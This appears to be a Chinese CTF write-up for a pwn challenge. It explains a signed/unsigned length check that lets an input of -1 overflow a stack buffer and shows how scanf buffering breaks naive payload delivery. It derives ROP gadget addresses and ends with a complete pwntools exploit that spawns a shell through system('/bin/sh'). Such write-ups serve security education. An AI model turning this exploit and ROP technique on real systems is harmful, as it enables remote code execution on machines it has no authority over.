eyfor
查看防护

防护几乎没开。
这里最重要的就是 stack,栈保护没有开。
Ida 分析


这里的漏洞点就在于 vul (),这里面有
if (size <= 0x2f) {
read(0, local_buf, size);
strncpy(global_buf, local_buf, 0x200);
}
问题是 size 在判断时按“有符号数”比较,但传给 read 时会作为无符号长度使用。于是当我们传 -1 时:
-1 <= 0x2f条件成立read(0, buf, -1)实际会变成超大长度读取local_buf只有0x30字节,直接栈溢出
这里主函数没有什么有意义的,但是这里的处理逻辑是- 程序先读一次
0x30字节到栈上 - 然后循环 4 次让我们输入数字
- 它拿
rand()和一个栈地址比较,这个条件几乎不可能成立 - 因此计数器会稳定加满,最后必定走到
scanf("%ld", &x),把我们输入的-1传给vul
其实这里的 main 函数有伪装性,前面用 read () 来伪装自己,让读者认为这是一个猜随机数的程序,其实并不是。而且 read () 函数和 scanf () 函数在这一道题目里面是混用的,这里就会导致一个问题
scanf为了完成解析,往往不会只读刚好-1这两个字符。它可能会顺手从底层 fd 里多读一大坨数据到自己的用户态缓冲区里,然后再从这坨缓冲里解析出%ld。
程序关键流程是:
read(0, buf1, 0x30); // 第一段输入
...
scanf("%ld", &x); // 读 size
vul((int)x);
void vul(int size) {
system("date");
if (size <= 0x2f) {
read(0, buf2, size); // 这里才是我们要喂溢出 payload 的地方
}
}
问题在于最后这组:
scanf("%ld", &x)read(0, buf2, size)
如果你把 -1 和溢出数据一次性发过去,scanf 很可能把后面的 payload 提前吸进自己的缓冲,导致后面的 read 读不到。
错误发包方式
from pwn import *
io = remote(host, port, ssl=True)
io.send(b"A" * 0x30)
for _ in range(4):
io.recvuntil(b"message:\n")
io.sendline(b"0")
payload = b"/bin/sh\x00".ljust(0x38, b"A")
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(buf)
payload += p64(system_plt)
# 错误:把 -1 和溢出数据一次性发过去
io.send(b"-1\n" + payload)
为什么错:
scanf("%ld", &x)可能不只读取-1\n- 它可能把后面的
payload也一并从 fd 里拿走,放进自己的stdin缓冲 - 之后
vul()里的read()再去底层 fd 读时,已经没数据了 - 结果就是阻塞、EOF,或者 payload 不生效
正确发包方式
from pwn import *
io = remote(host, port, ssl=True)
io.send(b"A" * 0x30)
for _ in range(4):
io.recvuntil(b"message:\n")
io.sendline(b"0")
payload = b"/bin/sh\x00".ljust(0x38, b"A")
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(buf)
payload += p64(system_plt)
# 第一步:只发给 scanf 用的数字
io.sendline(b"-1")
# 第二步:等程序从 scanf 走出来,进入 vul()
# 这题里 vul() 先执行 system("date")
io.recvrepeat(0.5)
# 第三步:这时候再单独发给 read() 的二进制 payload
io.send(payload)
io.interactive()
为什么对:
scanf只拿到-1\n- 后面的 payload 还没发,所以它不可能提前偷吃
- 程序进入
vul()后,执行到read()时,payload 才真正发送 - 这时数据是直接留给
read()的,利用链就稳定了
错误方式:
io.send(b"给 scanf 的内容" + b"给 read 的内容")
正确方式:
io.send(b"给 scanf 的内容")
等 scanf 结束
io.send(b"给 read 的内容")
所以利用链是这样的:
- 第一次输入任意
0x30字节 - 四轮
message:都输入0 - 最后输入
-1 - 进入
vul()后,先执行一次system("date") - 然后触发超长
read,覆盖返回地址 - 同时把命令字符串放在栈溢出数据开头
- 程序会把这段数据
strncpy到全局buf(0x6010c0) - ROP 调用
system(buf)
关键参数:
- 返回地址偏移:
0x38 ret:0x40063epop rdi ; ret:0x400983- 全局
buf:0x6010c0
这四个参数的来源不一样,但都可以从二进制里直接确认,不需要猜。我按这题的实际过程逐个拆开讲。
返回地址偏移0x38
IDA 信息是:
char nbytes[52]; // [rsp+Ch] [rbp-34h] BYREF
这表示:
- 数组
nbytes的起点在rbp-0x34 - 数组大小是
52 = 0x34
所以这个数组覆盖的范围是:
rbp-0x34 到 rbp-0x1
但程序没有从 nbytes[0] 开始写,而是从:
&nbytes[4]
开始写。
所以实际溢出的写入起点是:
rbp-0x34 + 0x4 = rbp-0x30
而返回地址的位置是标准栈帧里的:
[rbp+0x8]
所以从 read 的实际写入起点,到返回地址的距离就是:
(rbp + 0x8) - (rbp - 0x30) = 0x38
ret = 0x40063e
这个不是“主功能 gadget”,而是一个单独的 ret,主要用来做栈对齐。X 64 下有些时候直接跳 pop rdi ; ret -> system 会因为栈没 16 字节对齐而出问题,所以常常在前面垫一个单 ret。
这个地址是用 gadget 工具扫出来的,比如:
ROPgadget --binary pwn4 --only 'pop|ret'
结果里会有:
0x000000000040063e : ret
所以我就把它拿来当对齐 gadget 了。
pop rdi ; ret = 0x400983
这个也是 ROP gadget 扫出来的。还是那条命令:
ROPgadget --binary pwn4 --only 'pop|ret'
输出里能看到:
0x0000000000400983 : pop rdi ; ret
为什么这个 gadget 是关键的?因为在 amd 64 System V 调用约定里,函数第一个参数放在 rdi。我们最终想做的是:
system(buf);
所以在 ROP 链里必须先把 buf 地址塞进 rdi,再跳去 system。这就是 pop rdi ; ret 的作用。
全局 buf = 0x6010c0
这个是从符号表里直接看到的。二进制没有 strip,所以全局符号名还在。用:
nm -n pwn4
可以看到:
00000000006010c0 B buf
这里的意思是:
- 符号名叫
buf - 地址是
0x6010c0 B表示它在.bss段,是个全局未初始化变量
同时在 vul() 反汇编里也能交叉验证:
lea rdi, [rip+0x2008c0] # 6010c0 <buf>
call strncpy
说明程序确实会把我们控制的栈数据复制到这个全局地址上。于是我们就可以让 ROP 链去调用:
system(0x6010c0)
也就是把我们写进 buf 的命令字符串拿去执行。
也可以直接去 ida 中找
最终的 exp
from pwn import *
HOST = args.HOST or "905f61c70f93b15c1b1c1420.tcp-ctf2.dasctf.com"
PORT = int(args.PORT or 9999)
USE_SSL = args.SSL or True
context.binary = elf = ELF(r"/mnt/c/Users/jie ge/Desktop/pwn/pwn4", checksec=False)
context.arch = "amd64"
context.log_level = "info"
RET = 0x40063E
POP_RDI = 0x400983
BUF = 0x6010C0
OFFSET = 0x38
CMD = (args.CMD or "/bin/sh").encode()
def start():
if args.REMOTE:
return remote(HOST, PORT, ssl=USE_SSL)
return process(elf.path)
def solve(io):
io.send(b"A" * 0x30)
for _ in range(4):
io.recvuntil(b"message:\n")
io.sendline(b"0")
io.sendline(b"-1")
# vul() calls system("date") before the oversized read.
# Local and remote images may print different outputs here, so just # consume one line from the shell invocation if it appears. io.recvrepeat(0.5)
payload = flat(
CMD + b"\x00",
b"A" * (OFFSET - len(CMD) - 1),
RET,
POP_RDI,
BUF,
elf.plt["system"],
)
io.send(payload)
if args.CMD:
data = io.recvrepeat(1)
if data:
print(data.decode("latin1", errors="ignore"), end="")
else:
io.interactive()
if __name__ == "__main__":
io = start()
solve(io)

浙公网安备 33010602011771号